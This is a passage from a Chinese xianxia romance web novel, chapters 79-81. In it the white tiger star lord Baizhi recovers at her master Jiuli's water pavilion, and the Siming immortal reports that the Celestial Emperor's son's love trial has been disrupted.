毕竟青龙能时时跟着桑尤巡游三界,偏偏作为她师尊的九黎,几乎能千年足不出户,把她憋得不行,只能自己偷偷到处跑,寻些乐子玩。 记忆虽回笼,但时日她属实记不清,也不知如今距神魔大战已过了多久 灵力实在微弱,别说外面的动静,连七彩雀已经飞到眼前,白芷还未察觉。 七彩雀是九黎豢养的神鸟,受九黎之命守着临云水榭,因此,白芷一醒,它立刻就扬翅飞了进来,落在水榭前,化成一个粉嘟嘟的孩童模样。 “白虎”七彩鸟推门进来,看到床上熟悉的身影,一瞬间就扁了扁嘴,“你死得好惨啊 万年了我以为再也见不到你了” “”白芷皱了皱眉,万年了? 等等,什么死得好惨?这样晦气的话万年都过了,七彩雀还是这样不会说话。 看着七彩雀抱住自己一把鼻涕一把泪,白芷下意识地捏了个手诀,想把它弹开些。却不曾想,捏了好几次,一点作用都没有,自己反而被搂得愈发紧 这灵力也太弱了吧。 白芷叹了口气,只能伸手,拉着七彩雀头上的两支粉羽,“诶诶诶,不就是万年没见吗?要不要这么夸张” “不就是万年没见?”想到这万年来的伤心和孤寂,七彩雀更是委屈起来,“你真是没良心!你可知道,你以身殉阵的消息传回来时,我为了你日日泣泪,差点把眼睛都哭瞎了” 这话说得可真是让人伤感,她当初确实是抱着必死的决心的 白芷噎了噎,捏着它羽毛的动作只好改作轻拍,“好了好了,我这不是好好的嘛” 白虎低头瞧七彩雀眼神,倒真是溢满泪水,不似虚情假意。她只好安抚道:“过几日我去诸夏那里瞧瞧,给你寻些滋阴补肾的物事过来使使,给你补补眼。实在不行,我记得玄武从前在穷桑比翼族那里得了好些雪珠,你同比翼族也算同宗,想来那些东西对你也是” 白芷还未说完,七彩雀已经哭够了,想到自己还身负重任,便推开她,从白虎怀里跳了出来,手指一伸,一个盛满乌漆漆汤药的翠玉碗现于掌心。 “对了,神尊说了,待你一醒,让你立刻喝下这碗药。” 白芷皱了皱眉,下意识有些反感。 人界那一世喝过太多汤药,以至于她如今一看到这样黑麻麻的东西就有点恶心。 都已经恢复仙身了,还要喝什么药…… 看着七彩雀殷切地把翠玉碗端到她嘴边,白虎上半身微微往后仰,“不用了吧,待我闭关一阵……” 果然,七彩雀立马跳脚,“你可知道这是什么?” “这可是诸夏仙君用无烬果炼化的还魂珠,你可知道有多珍贵。你如今的修为连外头的仙鹤都不如,神尊怕你克化不了这还魂珠的药性,特意去北荒寻了冰山雪莲,好不容易熬出这碗汤” 还魂珠的妙用自然不止还魂。 无烬果千万年结一次果,果子可谓是灵丹妙药。若能得一点毛皮,听说普通仙人修为都能立马进入玄仙境 要知道,如今修为在玄仙境的,可只有仙帝一人 这样的神物,神尊尽数给了白虎。 七彩雀心里多少有几分嫉妒,不过有什么办法呢,白虎的身子这般虚弱 连外头的仙鹤都不如七彩雀这话说得便有些扎心了,白芷觉得自己被她说得像个窝囊废一样,一时有些语滞…… 七彩雀从前不知道给白芷戏弄过多少次,难得在白芷面前那么硬气,颇有些她不从她就不客气的阵势。 好汉不吃眼前亏,白虎听完只好呵呵笑了两声,把药接过来,在七彩雀灼灼的眼神里抿了一口。 不曾想,这碗东西看着乌漆抹黑,一入口,却有一股清香的甘甜,甚是合口。 白虎连抿了几口,颇有些意犹未尽的意思,把翠玉碗递给七彩雀的时候,已经一滴不剩了。 这碗药倒也神奇,一喝下就感觉丹田的位置暖暖的,似有一股清泉冽洌安抚着她有些涩痛不通的筋脉,心口的刺痛也缓和了一些。 不愧是父神和母神栽下的神树,确实是好东西。 喝完药后,白芷又与七彩雀说了一会话,大概了解这万年来发生的事,但她的元神还有些虚弱,说了一会话就连打了几个哈欠,昏昏欲睡的。 七彩雀见状,便止住话头,“你睡吧,如今你修为低浅,魂魄虚散,多睡才能养神。”看着白芷脸色苍白的样子,七彩雀犹豫了会,觉得神尊走之前特意吩咐的话好像有些多余 不过既然神尊吩咐过了,那她还是要执行到位,七彩雀歪了歪头,颇有些从前防备的模样,认真嘱咐道:“神尊说了,若你醒了,哪里都不许去” 其实,九黎的原话是,若她醒了,莫让她到处乱窜 显然,九黎多虑了。 如今的白芷,怕是连腾云驾雾都很勉强,哪里还能像以前那样,天上地下到处惹是生非 “嗯”白芷眼皮已经重得有些睁不开,含含糊糊应着,便又昏睡过去 七彩雀愣了愣,还是第一次看到这样虚弱的白虎,她叹了口气,掖了掖她身上的云被,便又化成原身飞落到门外去。 意识开始虚浮时,白芷心口刺痛了一下,短暂让她清明了一会。 不知为何,脑海里忽地浮现出人间那场大火,还有和她相拥的哥哥 还好。 哥哥不是凡人。 第79章 第79章情劫跟谁渡不是渡?…… 司命殿里,一群小仙童一人一个小云桌,此时皆拿着笔闲散地翻着司命薄,配合时幽冥间送来的功德簿,不时在司命薄上添上几笔。 司命殿司人界生灵命途和吉凶,与幽冥间的联系最为紧密,也是仙界最为繁忙之处。 不过熟能生巧,小司命们分工明确,与幽冥间合作,把人界打理得井井有条。 底下一名小仙童把今日的司命薄记完,正想松解一下久坐的肩臂,刚抬起头,便看到上首的白须老人从云桌前站起来。 看到白须老人捧着手上的墨色司命薄目露慌色,小仙童急忙站起问道:“师傅,发生什么事了?” 闻言,底下的小仙童纷纷放下手里的笔,围了过去。 司命仙君把他手里的司命薄阖上,眉间紧紧皱出几根皱纹,暗道不好。 “师傅?” “可是哪位仙人历劫出了差错?” 司命仙君伸手挥了挥,说无事,让小仙童们都退下,而后他便带着他手里那本司命薄急匆匆赶到仙帝处- “什么?”玉清殿里,听了司命仙君的禀报,仙帝从玉座上站起来,低呼道,“我不是让你好好盯着,不要出任何差错吗!” 司命一张老脸通红,哪里知道就打一个盹的时间,昊阳仙君历劫就出了差错呢。 昊阳仙君是仙帝独子,是仙界天赋最高的仙君,三万岁时就破了幻仙境。 千年前,为了更好地领悟道法,昊阳仙君主动向仙帝请求到凡间历劫以求更好地探求天道。 昊阳仙君下凡历十世劫,要经十苦八难,每一世司命仙君都亲自盯着。 眼看已经到最后一世,司命仙君一时困倦,便打了个盹,醒来发现昊阳仙君的那页司命薄突然闪过红光。 仙人的司命薄不同于凡人,凡人的司命薄是由小司命们根据凡人天生命途和幽冥间传来的功德簿书写吉凶。 但仙人的司命薄则不然,下凡历劫时司命薄上一字不留,渡劫能否有所悟皆由天命。 天命无常,世间因果最难捉摸,意外总是会有的,不是每个仙人都能渡劫成功的。 不少仙人悟不透因果,渡劫失败,反而生出心魔。所以,有些仙人为了渡劫能圆满些,会偷偷给司命仙君塞些好处,让他帮忙多看顾些。 当然,昊阳仙君作为仙帝的儿子,即使仙帝不吩咐,司命仙君也会提起百分百的精神,在不干扰天道的前提下替昊阳仙君祛除一些可有可无的障碍。 但因昊阳仙君悟性高,前九世渡劫都很顺利,到了最后一世,司命不免就有些掉以轻心了。 谁曾想,昊阳仙君渡情劫的最后一世,会突然被神尊横插一脚…… 发现命薄闪过红光时,司命的元神就已经急忙赶到凡间去探求原因,这一探才发现,天命安排给昊阳仙君渡 情劫的女子,竟然嫁给了另一个男子。 昊阳仙君的劫数出了变数,司命仙君一时有些慌张。 但毕竟在司命殿呆了半生,什么曲折离奇的司命薄没见过,他还不至于慌了阵脚。 天道向来爱作弄人,司命仙君存了一丝侥幸,或许这女子嫁给别人也是昊阳仙君情劫中的一个环节 结合看过的渡情劫的千百种方式,司命仙君不由得猜测,那女子嫁的人或许是个短命鬼? 为保周全,司命仙君便想探探那男子的生薄底细。 没曾想,这一探,反而把他自己吓一跳。 他竟从这男子身上,探得神尊的气息。 虽只是一魂一魄,但也就是说,神尊也在人间渡劫。 神尊的命数,在司命薄上可窥探不到。 司命心惊怕一番操作误了神尊渡劫,也不敢再窥探那嫁予他女子的底细,元神匆忙回了仙界,便立刻来禀告仙帝。 仙帝原本还想怒斥司命办事不力,但听到后面,脸色不禁有些不上不下。 神尊下凡渡劫的事他虽知道,但缘由他却是不清楚。但神尊做事定有他的深意,岂是他等人能置喙的。 至于昊阳的劫数…… 仙帝眼眸沉了沉,开口问司命仙君:“还有没有什么补偿的方法,就不能换个女子么?” 反正情劫跟谁渡不是渡。 人间常说,缘分天定,其实对仙人来说,亦是如此。 仙帝也是为儿子焦心,一时才口不择言。他心里当然知道,渡劫的对象是天定,怎么可能可以随意更换。退一万步讲,若是昊阳真的渡劫失败,那也是天意。 天意是不可能扭转的。 司命仙君也心焦,紧紧握着司命薄不敢说话。但过了一会,他手里的司命薄又亮了亮 人间十年,司命薄便会自行记载历劫人十年遭遇,司命薄又亮,证明人间又过十年。 司命仙君看了看前面仙帝焦急踱步的背影,悄悄地翻开司命薄 只一瞬,司命便目露惊喜。 “仙帝,昊阳仙君此劫渡得颇是顺利,想来不日便可回归仙庭了。” 仙帝回头,脸色不算好看,“司命,你到底在卖什么关子?” 刚刚急匆匆跑来说渡劫失败,现在又说渡得顺利,前言不搭后语。 仙帝觑了他花白的胡子,有些不满,看来司命得换个脑袋灵光些的人当了。 司命仙君闻言,颇是心虚。 但刚刚在司命殿里,昊阳仙君的司命薄确实闪着红光。况且,他的元神亲自到凡间看过,昊阳仙君与他命定的那个女子,明明就是错过了 他下去时,正看到那女子与神尊成亲呢 司命仙君只好把司命薄捧到仙君面前,认真地解释着前因后果,“昊阳仙君这世渡的是情劫,历的是爱别离和求不得之苦。现在看来,那女子嫁给神尊,恰好应了这求不得之苦” “”仙帝直直地瞪着司命,显得有些欲言又止。 昊阳若能圆满渡劫,自然是好事,可不知怎地,他总觉得有哪里不对。 昊阳在凡间的情敌,是神尊? 仙帝转了个身,用食指骨节叩了叩眉骨。 “你是说,你看到神尊,在凡间与一女子成亲?”仙帝的神情写满了不可置信,语气亦然。 司命虽未在凡间多逗留,但下凡时确实看到神尊与那女子正拜堂,因认出神尊的身份,他并不敢多停留。 但做司命这一行的,到底八卦,离开时他还是没忍住瞥了一眼 他当司命已经不知道有多少万年了,什么样的情情爱爱,多热烈多曲折,多甜腻多冷漠,他都在司命薄上见过。 当然,现实中也见过不少 他敢肯定,在凡间成亲的那个神尊,看着那新娘子的眼神,分明就是满满的喜悦和爱意 虽然,那样的神尊,实在不像神尊 他知道的神尊,生来便是驾驭百神的存在,他是这世间的主宰。他的眼里有众生,有大义,有慈悲,有怜悯,世间万物都可以在他眼中。 司命仙君不知道该怎么形容凡间的那位神尊。 他听到周围的人喊他宋状元,听她们念叨着祝词,祝神尊与那女子永结同心云云 而神尊,不,是凡间那个宋状元,虽与神尊一样有着清凌凌的双眸,可那双眼眸里,显而易见且满满当当装得,都是那位为他身披红妆的新娘子。 在仙帝狐疑的目光里,司命点了点头,到底不敢多说什么。 仙帝显然也不敢打听神尊的事,便也没有再问。只是他们不知,司命踏入玉清殿时,神尊与凡间那女子,也已经回到九重天- 九重天上不似凡间,没有日落星辰,也无风雪雨露,这里常年金光萦绕,层云叠染,充斥着精纯天然的灵气。 白芷如今的修为实在太浅,虽然无需似凡人一般三餐食谷,但还是需要用灵液维持精力,否则,她大部分时间都在昏睡。 七彩雀片刻不离地守着白虎,唯恐出了差错,神尊回来会怪罪。 见白芷醒来神情恹恹,七彩雀主动说要去汜光塘采些清露给她提神振气,临走前又嘱咐白芷要在屋里呆着乖乖等她回来,莫要出门 在七彩雀关切的眼神中,白芷拉高云被,一双杏眼水盈盈地看着她,好不乖巧地点点头,让七彩雀看完更是心疼,立马就扬翅离开。 待七彩雀飞走,南边的小窗嘎达一声落下时,白虎那双圆溜溜的杏眼转了转,而后拉开云被,推开大门,捏了个口诀,便消失在水榭门外了 第80章 第80章乖乖待在他的地盘 采完清露回来,七彩雀在莲影长廊站住,刚刚恍惚间好似看到神尊的身影,不过待她定睛一看,却又什么都没看到。 七彩雀摇了摇头,怀疑是自己看错了。 前几日神尊将消失万年的白虎送回临云水榭后,又不知匆匆去了哪,只交待它守好白虎,其他俱无交待,七彩雀也不知道他什么时候回来。 不过白虎已醒,想来神尊很快也会回来了。 毕竟白虎好不容易死里逃生 虽然神尊看着冷冰冰,但其实她知道,神尊还是很关心白虎这个唯一的徒弟的。 其实一开始,她并不知道神尊从幽冥间带回来的那只浑身是血的小精怪就是白虎。 她在一旁看着神尊用了无数它听都没听过的珍宝药材,用他的神力无休无止地注入到小精怪体内 初时只是惊讶,到后来见神尊把诸夏仙君送来的还魂珠喂予她之后,她才意识到那只小精怪定然不是普通人。 七彩雀毕竟也是兽类,生来敏锐,没有发现白虎的身份,是因为她根本就没预料到白虎还可能活着。 因神尊的举动,她才刻意观察着那只小精怪,即使她气息微弱,她还是很快察觉出她的身份 原来她是白虎。 察觉出端倪后,七彩雀觉得神尊种种异常的行为都有了解释。 毕竟,这千万年来,只有在管教白虎星君时,神尊那常年不见波澜的冷淡神色才会出现一些难得的变化,虽然大部分时候是无奈 而这次,显然是担忧 临云水榭虽空了许久,但外头的一片花园,七彩雀一直料理得很好。 此刻霞光氤氲如薄纱,院里的瑶草坠着晨露,泛出七彩的微芒。云锦藤蔓攀着从前白虎亲自搭的玉栏,缠绕垂下串串晶莹果实,花蕊吐纳的清香混着云雾,一片生机勃勃的模样,叫人看了便心生欢喜。 七彩雀的脸上不由得挂上几分笑意,她走到水榭门口,推开门。 一眼望进去,外间没有白虎的身影。 七彩雀心里先是紧了紧,莫名就想起从前的回忆 从前白虎被神尊罚禁闭的时候,没少支开她,偷偷溜走。 七彩雀敛了敛神,连法术都忘记用,直接小跑进里间 透过霞光织就的浅白帷幔下,看到那道熟悉的身影还躺在玉眠石上,七彩雀这才松了口气。 也是,以白虎如今的修为,哪里还能像以前那样到处乱跑。 耳边传来的呼吸很是平稳,七彩雀下意识放轻脚步走近。 晶莹剔透的玉眠石上,虚弱的小人儿缩成一团,半 张苍白的小脸掩在云被下,眉间皱得紧紧的,仿佛在做什么噩梦一般。 其实,白虎星君不闹腾的模样,模样还是很招人喜欢的,七彩雀如是想。 采来的清露有愈伤的功能,七彩雀看白虎紧皱眉头,现下的模样比她刚刚离开时仿佛更虚弱了几分,想来是心口的伤还未愈合。 七彩雀轻轻推了推床上的人儿 见白虎缓缓睁开眼,七彩雀便去扶她,“汜光潭的清露对疗愈伤口素有神效,你心口那伤这么多天还未能愈合,大概是你如今修为太低浅的缘故。”七彩雀难得小意地说道,“往后我每日去潭上替你采些清露,也好压下一点痛楚。但至于心口那道疤” 上古神剑到底威力不同,白芷昏迷时七彩雀帮她换过药,她看到那疤印上至今还有丝丝缕缕的剑气,以致于伤口一时很难恢复。 七彩雀也无法,只能待神尊回来了,才能为她压制那些剑气。 “嗯。”白虎点了点头。 她接过七彩雀手里用荷叶盛来的几滴清露,一口气就倒进嘴里。 清凉的水珠入喉,喉间干涩尽除。白虎看着手里的荷叶,随口问道:“师尊呢?” “神尊在幽冥间闭关万余年,前阵子刚出关就把你带回来,但未停留多久便又离开了”七彩雀不由得想到刚刚在路上看到的那片衣角,还在琢磨自己有没有看错。 “哦”白虎低低地应了一声。 “想来仙界那边还不知道星君已经归位,否则,以仙帝从前的做派,定是要率众仙上九重天来庆贺的”见白虎精神好似好了几分,七彩雀也寻了个位置坐下,与从前一般闲聊起来。 “虽说你万年前以身祭阵,没让皿灵台真正开启,但神尊闭关这些年,魔界总是蠢蠢欲动,好在神尊出关了,魔界也能消停些了” 白虎刚回来,七彩雀说到一半,顿了顿,不想讲那般沉重的事,又生硬地转移了话题,“你可还记得昊阳仙君?” 白虎点了点头,仙帝的儿子嘛,怎么可能不记得。 几千年前,她有次因闲逛时不小心闯进穷桑,惊扰了那边的两头上古凶兽,打了一架,把人家的地界搅得好一番天翻地覆 后来那凶兽元神出窍到九重天告状,害得她被九黎罚禁闭一百年。 而那百年里,给她解闷的,便是那仙界的昊阳仙君。 说起来,白虎平日住在九重天,与仙界甚少往来。 但昊阳仙君因是仙帝的儿子,颇有天赋,自小仙帝便带在身边悉心教养,有时上九重天时也有意将他带在身边。 仙帝确实有一段时间常带昊阳仙君上九重天,的确是存了些心思的。那时昊阳仙君刚突破幻仙境,仙界盛赞他是天才仙帝听得多了,于是便大胆幻想着,若是昊阳能被两位神君看上,收作徒弟 但这样的好事,即便幻想他也知道这比登上天堑的可能性都低。 两位神君座下都已有一徒,九黎神君座下是白虎星君,桑尤神君座下是青龙星君,都是母神还在时就做主托付给他们俩的。 但仙帝想着,若是昊阳得不到神君的青睐,能得桑尤神君座下青龙星君的青睐,也是极好的。青龙星君是四星兽之首,武力非凡 至于白虎星君,不在仙帝的考虑范围内。 倒不是实力和修为的问题,白虎星君是四星君中最得母神喜爱的星君,也是勇猛非常。只是不太有上古神兽的风范 毕竟,这百万年来,白虎星君惹出来的事,实在是罄竹难书。 仙帝对昊阳寄予众望,十分害怕白虎星君会“荼毒”他儿子,因此也不想让昊阳仙君在白虎面前露脸。 好在也无需刻意回避,白芷常年行踪不定,并不常留在九重天,所以仙帝每次带昊阳来九黎的凌霄殿时,倒也放心。 但白芷虽常年在外,九重天毕竟也算是她的“老巢”,她总是要回来的。 虽然有时候是不得不回来。 白芷心里谱儿清着,九黎虽对她颇为放任,但每次她在外面的时间长了,回来的时候,她还是能微微感觉到他有些不悦 毕竟挂了徒弟的名号,白芷还是不敢太放肆。 千年万年的试探,慢慢的她也算摸到九黎的底线,出去半年几个月的,九黎一般是不过问的。 但是若是超过半年未回,回来时便要做好心理准备。 九黎虽不会明面惩罚她,但他会冷冷淡清清的,说出令她这种纯阳之体都会打寒颤的话。 ——“随我闭关。” 然后接下来的几百年甚至千年,她就别想再出九重天了 起先她也是挣扎拒绝过的,但无一次例外,每次都会被他捏着脖颈,颇是狼狈地被拎回去。 于是,千年百年,她只能对着他那张淡漠无波的脸 吃的亏多了,白芷慢慢就不敢太造次了。 四海八荒再有趣,再流连忘返,时间一到,她总是会乖乖回九重天呆上一段日子,还要故意在九黎面前晃悠,让他知道,她乖乖地待在他的地盘,没有乱跑 初识昊阳仙君,正是那次因误闯穷桑被关禁闭的时间。 说是关禁闭,实打实也就关了几日,几日后,经不住白虎的哀求,禁闭变为不准离开九重天。 九重天虽大,可人少啊。且桑尤和青龙那阵子不知因何缘故去了北荒,九重天就更安静了。 白芷起初乖乖呆在她的临云水榭,但只过了几日,便开始有些坐不住了。 虽说她有些畏惧九黎,但人一无聊起来,便不想独自呆着。 既然哪里都去不得,那不如真的修炼好了。 既然要修炼,不如跟着九黎一起修炼,事半功倍。 毕竟九黎虽冷淡,却向来大方不藏私,她想要的,他有的,他从来都不小气,任她连吃带拿。 修为越高,再往上便越难突破,若突破不成,便常常会受到反噬。尤其白芷,有时性子来了,越是突破不成,越要死命硬嗑。 她平日虽懒散,但认真起来时,颇有些不管不顾的模样,而这样的性子让她在修炼时难免就要多吃些亏。 九黎虽不认同她这种修炼方式,但若她受伤,第一时间为她疗伤的,还是他。 因此即便白芷多年来未勤于修炼,但她的修为在四星君中,仍属于前二。 思绪飘得有些远了,白虎被七彩雀清脆的声音又拉了回来。 七彩雀看到她点头,继续说道:“你献祭魔界皿灵台的消息传回仙界不久后,不久后昊阳仙君就同仙帝请求,说想去人间历十世劫去了。” “十世”白虎有些惊讶。 虽说神仙生命恒长,但也不是永生。神仙也有神仙的烦恼,尤其天生仙胎的神仙,有时对 天道的领悟和体会还不如凡人短短百年来得深刻。因此有些仙人会选择下凡轮回,以期对道法有一番新的体会。 但轮回并不是越多越好,仙人有仙人的使命,仙帝也不会放任仙人无止境地去轮回,搅乱世间秩序。 况且,轮回也有风险,修为低浅的仙人,有时无法勘透世间情缘,更有甚者坏了功德,无法位归仙班,只能一世又一世地卷入到轮回中。 除非是修为即将有重大突破,还是有什么机缘,否则轻易不会下凡去历劫的。 而且还是十世劫。 七彩雀点了点头,肯定地说道:“对,十世。听说仙帝原先也不同意的,但不知昊阳仙君如何说服他的总之,昊阳仙君千年前便去历劫了,如今还未回归仙班呢,也不知道劫渡得顺不顺利。” 白芷不知想到什么,嗯了一声,便没再说话了。 七彩雀见她脸色似有疲倦,便止住话头,手背触了触她的手腕,“你如今也太弱了难道诸夏仙君炼制的还魂珠出了差错?怎么好似你比刚醒来时还虚弱” 白芷把手腕收回,摇摇头笑了笑。 当然不是泯灵珠的问题,诚如七彩雀所说,是她自己的身子太弱了。 不死树结出的果子同无烬剑气一般,是世间极阳之物,她原身是纯阳之体,按理说,属性相符,应该对她的修为大有裨益才是。 但奈何如今身子太弱,她克化不了泯灵珠那些纯烈的阳气,反而受其苦,神魂被反灼 她能感受到丹田处有火焰般的灼热感,她几次尝试运气去引导那股灼热散开,但运气只让灼热更甚。 运气也不是,不运气反而还能忍受,白芷暂时也想不到更好的办法,便只能忍着了。 想来药性是要慢慢化解的。 七彩雀离开后,白芷又躺回玉眠石上。 原本想借着玉眠石的寒性抵御体内的那股灼热,但没想到,躺着躺着,那灼热感慢慢往上,她心头处被无烬剑穿过的地方突然一阵阵针扎般的疼痛感。 那疼痛感并不叫人陌生 白芷屡次从熟睡中疼醒,醒来时想抬手捂住心口,才发现自己的灵力已经低到 化为原身 ——眼前所见,是一团白绒绒的小爪子。 还来不及叹气,白芷便听到水榭外响起七彩雀清脆而不失喜悦的声音,“神尊,您终于来了” 听到门被推开的那一瞬,不知在害怕什么,白芷下意识地闭上了眼睛。【你现在阅读的是 】 80-90 第81章 第81章他们师徒之间什么都没变…… 白芷如今醒来的时间不长,待她睡着后,七彩雀便搭在门外一株仙竹上闭着眼睛假寐。 翼类对风有着超乎寻常的感知力,当九黎降临在临云水榭院子前,七彩雀第一时间睁开了眼。 叠叠云雾萦绕着金光,来人款款前行,素白锦袍上的流云纹在金光下潺潺流动,步履挪动间光华流转。 七彩雀从仙竹上飞落,化作孩童模样,急忙迎上前去,“神尊,您终于回来了。” “嗯。”九黎眼眸垂瞥过七彩雀一眼,问:“她醒了吗?” 语气淡淡的,七彩雀显然习惯了,点头热切接过话。 “醒是醒了,不过又昏睡过去了”七彩雀语气里不掩担忧,“神尊让我喂予白虎的那碗药,虽然特意加了冰山雪莲,但我瞧着以她如今的修为,还是克化不了” 七彩雀还没说完,九黎已经越过她,推开水榭的门。 待七彩雀反应过来要跟上去时,门已经重新掩上 即便未下结界,七彩雀也不敢再往前了。 九重天缥缈无际,九黎和桑尤一南一北分居两处,临云水榭在最南边,与九重天门最近,是从前白芷自己挑选的落脚处。 虽是九黎的地盘,但这里他也很少踏足。 不过推开门后,九黎却是轻车熟路,仿佛来过多回一般,一眼望向内间的方向。 因他习惯素色,九重天上除了金光白云,甚少有别的色彩。 唯有临云水榭不同,入门后,一眼便看到屋内分隔里外间用的五彩朝霞编织成的珠帘。 窗边的软榻,桌上奇形怪状饮水的茶壶,随手放在玉桌上的流云扇,甚至魔界之物穿心锁也大剌剌放在旁侧 好在随性却并不杂乱。 九黎目不斜视,脚步未停,拨开那五彩珠帘 其实七彩雀唤出“神尊”那一声后,白芷就已经醒了。 虽说她跟九黎和平相处了百来万年,但因九黎性子冷淡些,他们师徒不如青龙和桑尤那般亲厚。甚至,因为她的顽劣行径,她也没少被惩罚 但不管怎么说,白芷心里还是很敬重这位师尊的。 她知道,师尊素来不喜她顽劣没正形,但万年前她献祭自身之力及时阻止皿灵阵开启,也算是做了一回正事。 好不容易捡回来一条命,以她原来的性子,大可将这个事迹作为以后被教训时的反驳之语。抑或是,她如今修为失了大半,正好可以诉诉苦趁此机会跟他多要些灵珍异宝 可是听着愈来愈近的脚步声,白芷的脑海里只是越来越空,甚至有些内疚与畏惧 七彩雀许是也不清楚细枝末节,并没有告诉她师尊是如何救回她的。 但即便没有人说,白芷也知道,救回她不会是一件容易的事情。 献祭皿灵阵时,她并无一丝侥幸。 醒来恢复记忆后,幽冥间千年,凡间一世,这些事情,串成线后,她勉强能窥探到一些事情 但仙魔之战距今已万年,其余她没有意识的时间里,师尊做了什么,她什么都不知道。 即使闭着眼,周遭无一点声音,可有的人,他只是站在那里,便有一种可覆世间万物的沉凛和威压 白芷实在忍不住,眼睫颤巍巍地晃着正准备睁开眼时,手腕处有如冰雪般的寒冷搭上。 温暖跳动的血液仿佛有片刻的静止,连心尖都忍不住颤了颤- 拨开五彩珠帘后,九黎一眼落到躺在玉眠石的那道身影。 走至床前,看着往日生动明媚的脸庞此刻有如霜打之后蔫蔫的梨花,苍白零落。他垂了垂眸,将手搭在她的腕骨上。 浮细而软,如絮浮水 但至少是跳动的。 “还很痛?” 清凉如冬水的声音落下,白芷便知道,九黎看透她在装睡。 她在沉凛凛的威压缓缓地睁开眼。 说来也奇怪,见面前战战兢兢不知在担忧些什么,可当对上九黎那双清越无波的眼眸,那些莫名的畏惧一下子消散。 仿佛千年只是一瞬,她只是又跑到哪里闲玩了一段时日。 他们师徒之间,什么都没变。 “师尊。”白芷声音低低的,带着几分乖巧般的讨绕意味。 手腕处的冰凉犹在,九黎的手并没有收回,闪着微蓝的神力源源不断通过他的指尖传递到她的寸关处,润流过五脏六腑。 白芷习以为常一般,微微眯了眯眸,聚神凝气 全身的筋脉脏腑尽数放松打开,九黎的灵力在她体内畅行无阻 只是一小会,身上的疼痛感仿佛都消失了一般。 虽然丹田处仍然灵力空空,不过,整个人都舒爽了不少 看着女子眉眼逐渐舒展开,白皙晶莹的脸颊上终于透出淡淡粉色,九黎才收回手。 “明日便到凌霄殿来吧。”收回手后,九黎后退两步,瞥了一眼笑盈盈凝望着他的澄澈双眸,淡淡说道。 白芷的三魂七魄初归位,之前的灵力修为又尽数被皿灵阵吞噬。他的灵力入了她的体内,也只是无根止水,只能短暂缓解她的不适。 果然,听完九黎的话,白芷那双亮晶晶的眼眸立马就黯淡下来。 “这次要多久?”白芷以为又是什么惩罚,嘴角往下撇,弱弱地问道。 “多久?”九黎盯着那双黯下去的双眸,微微皱了皱眉。 “这得看你。”他的语气罕见似乎多了两分不耐。 若是旁人,听到这冷得仿佛能结冰的语气,恐怕忍不住跪地俯首。 但白芷不知是钝性较强还是已经习以为常,她盯着九黎如深潭的眼眸,咬了咬唇,试探道:“两百年?” 其实白芷也知道, 以她如今这幅风吹都能散的身子,短期内就算给她自由,她也去不了哪里。倒不如乖乖跟着九黎闭关,看能不能捡回一些修为回来,免得下次见面被玄武他们嘲笑 修炼当然是要修炼的,但她想还是要跟九黎约定好一个时限。 毕竟她可没有九黎那样沉稳的道心,闭关太久,她可耐不住那种孤寂 “白芷。” 即便修为没了,但兽类对声音和情绪天生有着灵敏的感知力,察觉到九黎声音微乎其微地冷了两分,白虎忙撑着手坐了起来,仰着眼前的人。 长身巍峨,云彩般柔和的纯白色披在他身上,仿佛化作皑皑的白雪,愈发显出那股高不可攀的圣洁。 “知道了知道了。”看九黎眉骨终于不耐地皱了皱,白芷识势又补了一句,“师尊说多久就是多久。” 看着床上女子因匆忙坐起凌乱垂在肩上的青丝,九黎压了压眼眸,转身提起脚步。 关于她舍命祭阵,关于他如何救回她,两人都没有提起。 她不需要解释,同样,九黎也不需要她感谢。 他们之间的对话,犹如百万年来每一次对话一般,生疏间又有几分旁人察觉不出的熟稔和默契。 九黎走后,白芷运了运气,在小指指间划了一道痕。 这是四星兽独有的联系法阵。 四星兽作为父神和母神的护卫星兽,如今分落各地。 朱雀在南岳守神冢,玄武则跟着蚩祗镇守在幽冥间,只剩青龙同她一起呆在九重天。而自桑尤堕魔,青龙也不知所踪 星兽之间有特殊的联结,白芷是在告诉他们,她已经回来了。 希望青龙知道她回来,也能现身吧。 如今修为不似从前,虽然不至于靠五谷果腹,但到点了还是要吃些东西。七彩雀甚是周到,九黎走后,她又捧了一碗清露,还有几朵瑶池采来的茉莉云卉,让白芷美美地享用一餐。 躺下又睡了一舒坦的觉,醒来掐指一算时间,白芷不敢再耽搁,很快换了衣裙,从临云水榭出来。 绕过条条长廊,走到凌霄殿门前时,恰是与九黎约定的时点。 除了守天门的仙将和平日固定时间来侍弄仙树的仙使,其他时间,九重天上一片沉寂。 白芷并未从凌霄殿正门走入。 甚少人知道,九黎常年闭关的兰因殿,其实可从凌霄殿北面的一个小门穿过,绕行书苑便可直达。 白芷熟门熟路,走到兰因殿门外,停下后,她垂眼拍了拍衣袖,又拉了拉裙角,这才推开门。 兰因殿不大。 虽是九黎常年闭关的场所,但殿内不似外人以为的,或许有世间最金碧辉煌,最神秘而精美的雕栏画栋。又或许什么都没有,因九黎神尊已然步于万物之巅,心怀苍生,向来无心无欲,他闭关的场所定然只是黑沉沉的一间密室 但意外地,兰因殿内的一概装饰,算得上是简单而温馨。 当然,一开始不是这样的。 这里虽然是九黎常年闭关的场所,但白芷拜入师门后,呆在里头的时间也不少。久而久之,这里慢慢地,便按她的心意多添置了好些东西。 白芷是四星君里面最贪玩的,偏偏跟了一个最冷清的师尊,一开始她没少在其他星君面前偷偷埋怨 毕竟她原先想跟的人,是桑尤。 当初母神让几个神君选徒时,白芷原本信誓旦旦,以为桑尤会选择同为战神的自己,没曾想桑尤却点了青龙与朱雀,蚩祗要了玄武 而她竟然没人要 后来母神便直接把自己点给她的儿子九黎 好在九黎也不怎么拘着她,她常常化成人形去凡间吃喝玩乐凑热闹。因喜欢凡间,所以兰因殿很多地方都是仿着凡间的装饰来的。 譬如窗前的软榻,譬如画着人间五岳的彩屏,譬如小桌上还叠着万年前一股脑在凡间买来的几十本话本子 那些话本子写得可比老司命殿里的司命薄好玩多了。 从前这样装饰只是为了解闷,可如今再看,却有一种别样的熟悉感 布置跟凡间的小院那么相似 她闭了闭眼,摇摇头,想把一些不合时宜的回忆甩出脑海 说来也奇怪,百万年了,她在人凡间玩乐的时间加起来比这一世渡劫都长。 只是一场轮回罢了,白虎在心里告诉自己。 区区人间十多年,在她百万岁的人生里实在是沧海一粟,太过微末了。 她在人间看了多少话本子,在司命殿看了多少司命薄,情情爱爱这些,更是不知看了多少 师尊只是为了救她性命,屈尊陪她轮回一世,自己该感恩戴德才是。且听七彩雀言语之意,师尊下凡陪她渡劫塑魂还无人知道,想来师尊也不想声张。 